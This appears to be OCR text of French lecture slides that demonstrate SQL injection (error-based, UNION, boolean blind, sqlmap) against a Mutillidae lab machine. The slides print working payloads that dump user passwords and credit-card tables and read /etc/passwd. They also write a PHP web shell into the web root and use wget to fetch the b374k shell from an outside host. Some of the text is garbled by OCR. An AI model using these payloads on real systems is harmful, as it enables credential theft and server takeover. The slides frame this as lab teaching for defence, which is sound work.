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Injections SQL : ERROR-Based

Applications Raccourcis | E' sam. 7 mars, 15:23

Fichier Edition Affichage Rechercher Terminal Aide Kali Linux, an Offensive Security Project - Iceweasel
:~# cat ARAMIS-SQL-1 T g -
SRS CAS 1 : Error-Based : L' ap EUCHEUESEURCUELCITRE N S

URL : http://192.168.56.103/mutillidae/index.p file:///usr/share/kali-defaults/web/homepage.html V. E]V ] (e}
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Injections SQL : UNION

Applications Raccourcis r: E sam. 7 mars, 15:26 ?
root@kali: ~
Fichier Edition Affichage Rechercher Terminal Aide
HEHHHHRRAHRARA#HH## CAS2 @ UNION Based
‘PRINCIPE : insérer une seconde requéte pour extraire des informations.
Exemple : requédte initiale = v 8y G v

SELECT auteur, titre, date FROM articles WHERE auteur='nom-passé-en-param'; -DB \Aircrack—ng
gen insérant les données suivantes i
gtoto' UNION SELECT user,password,uid FROM users --

la requéte devient : yice version Switch to XPath version

SELECT auteur, titre, date FROM articles WHERE auteur='toto' UNION SELECT user,password,uid FROM users --

les résultats retournés contiennent 1'union des deux requétes.

nter username and password
o view account details

REMARQUES
- les deux requétes doivent étre similaires : [
- méme nombre de colonnes
- types de données compatibles ‘
- i1 faut connaitre le nom de la table & interroger + nom des colonnes

ARAMIS-SQL-2 [ View Account Details ]

willlSpaper

Dont have an account? Please register here

@ W rod

>

‘ [ Results for ™ or 1=1 -- ".23 records found.
Username=admin
Release Password=adminpass
Announcements Signature=g0t ro0t?

Username=adrian

You Password=somepassword

Signature=Zombie Films Rock!
Video Username=john
Tutorials Password=monlkey
Signature=| like the smell of confunk
Q Username=jeremy
SN Password=password

Signature=d1373 1337 spealk

Username=bryce
V| (i) (it | i) Password=password

_ Signature=| Love SANS




Injections SQL : BOOLEAN BLIND
e

Aucun affichage de données utilisateur : injection aveugle.

== Brick FAUX ?
mm DrICKS toto
g

ori=l— e VRAI ?



Injections SQL : BOOLEAN BLIND
e

Confirmation du comportement booléen de 'application :

or ascii(mid('abc',1,1)) = 97 —= 5 VRAI!

eeeeeeee

or ascii(mid('abc',1,1)) = 98 —— 5 : FAUX !

Premier caractéere du nom de la base ?

or ascii(mid(database(),1,1)) 97 --

Succesfully logged in.
,,,,,,,,,
—— b

aaaaaaaa

or ascii(mid(database(),1,1))

Etc... A automatiser



Injections SQL : SQLMAP

Applications Raccourcis g sam. 7 mars, 17:09 £ =E W rog

root@kali: ~

Fichier Edition Affichage Rechercher Aide
HH#HHE RS Cas 4 @ utilisation de sqlmap

Terminal

Dans burpsuite sauvegarder la requéte a http://192.168.56.103/mutillidae/index.php?page=user-info.
=> userinfo.request

it-DB \Aircrack-ng
sqlmap -r /root/userinfo.request --dbs

sqlmap -r /root/userinfo.request -D mutillidae --tables Web Pwn in Mass PrOduction

sqlmap -r /root/userinfo.request -D mutillidae -T credit_cards --dump Hints: Disabled (O - | try harder)

Not Logged In

jgle Security Enforce SSL Reset DB View Log View Captured Data [

User Lookup (SQL) )

C\Q Back @ Heip Me!
A AN
A’Ax swhtch to SOAP Web Service version Switch to XPath version

(END)

OWASP 2010

»

OWASP 2007 4
< Web Services 4
»
>

HTML 5
[ T <

Documentation

‘;V
Getting Started:

Project
Whitepaper

o

Release
Announcements

Please enter username and password
to view account details

Name \

Password [

[ View Account Details ]

Dont have an account? Please register here

You
Tube

Video




Injections SQL : et ensuite ?

Applications Raccourcis : sam. 7 mars, 17:30

root@kali: ~

Fichier Edition Affichage Rechercher Terminal Aide

FHERFHEH R RHH#R##H Cas 5 1 et ensuite ?

Lire des fichiers

' UNION SELECT NULL,LOAD FILE('/etc/passwd') ,NULL,NULL ,NULL,NULL,NULL --

Ecrire dans des fichiers

" UNION SELECT NULL,1,NULL,NULL,NULL,NULL,NULL INTO QUTFILE '/var/www/mutillidae/test.txt' --

in Mass Production

installation d'un script pour exécuter des commandes :

(0 - | try harder) Not Logged In
SSL Reset DB View Log View Captured Data

' UNION SELECT NULL,'<? system($_GET[\'c\']); ?>', NULL,NULL,NULL,NULL,NULL INTO OUTFILE '/var/www/mutillidae/test.php’
http://192.168.56.103/mutillidae/test .php?c=1ls
Upload d'un shell (SQL) ]

http://192.168.56.103/mutillidae/test .php?c=wget%20https://b374k-shell.googlecode.com/files/b374k-2.8.php k

puis

N
http://192.168.56.103/mutillidae/b374k-2.8.php 1 ;
(END) XKML Switch to XPath version

Documentation 4 ’

u

Please enter username and password
IR to view account details

g Name \
3
Getting Started:

Project
Whitepaper

-

Release
Announcements

Password \'

[ View Account Details ]

Dont have an account? Please register here

You
Tube

Video o




CONCLUSION
I

Remarque : on s’est placé ici dans un contexte d’attaque idéal :

- Application vulnérable ;

- Distribution vulnérable ;

- Serveur WEB et SGBD sur la méme machine ;
- Pas de filtrage en entrée/sortie.



CONCLUSION
I

Mais : en informatique il existe toujours plusieurs fagons de réaliser
les choses !

Injection SQL impossible ? wget non disponible ? Filtrage en sortie ?
=> formulaire d’'upload... Ou autre...



CONCLUSION

A retenir :

Un attaquant motivé sera méthodique, exhaustif.
Utilisera toutes les informations disponibles.

Exploitera la moindre faille.

Les conséquences ne se limitent pas a la vulnérabilité elle-méme.
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Rappel...

Vous étes responsables de ce que vous faites...
But : connaitre les attaques pour mieux se protéger.

N’attaquez que les serveurs dont vous €tes propriétaire,
administrateur, hébergeur.

Attention : n’utilisez pas les techniques et outils d’attaque sur

vos serveurs en production tant que vous ne maitrisez pas
leurs conséquences !

Merci ! Questions ?



